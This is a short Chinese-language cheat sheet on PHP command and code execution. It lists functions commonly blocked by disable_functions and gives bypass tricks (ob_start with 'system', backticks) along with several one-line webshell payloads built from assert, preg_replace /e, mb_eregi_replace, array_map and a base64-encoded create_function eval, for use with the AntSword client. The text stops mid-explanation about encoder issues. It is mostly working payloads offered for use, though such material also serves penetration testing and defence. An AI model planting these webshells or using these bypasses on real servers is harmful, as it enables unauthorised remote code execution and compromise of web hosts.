命令执行
disable_function禁用的函数——命令执行
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,
popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv
ob_start
<?php
ob_start("system");
echo "whoami";
ob_end_flush();
?>
反引号echo dir
等同于shell_exec
代码执行
蚁剑可连接的shell,本质就是可代码执行皆可(不是命令执行)
assert($_POST['c']);
preg_replace('/.*/e',$_POST['c'],'');
mb_eregi_replace('.*', $_POST['c'], "", 'e');
c=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJjIl0pOw=='));c();
array_map('assert',array($_POST['c']));
array_filter、uksort、uasort、array_walk + preg_replace、preg_filter、mb_ereg_replace、register_shutdown_function、filter_var
等
蚁剑tips
例如如下的payload,会产生以下的问题,需要
这一个特性可能会影响到蚁剑编码器的编写的问题,原因是上述的这些除了eval之外的shell,最终的调用都是需要一个eval的执行。
如下所示,这也是导致可能出现的编码器中,非eval的shell进行编码所出现的问题,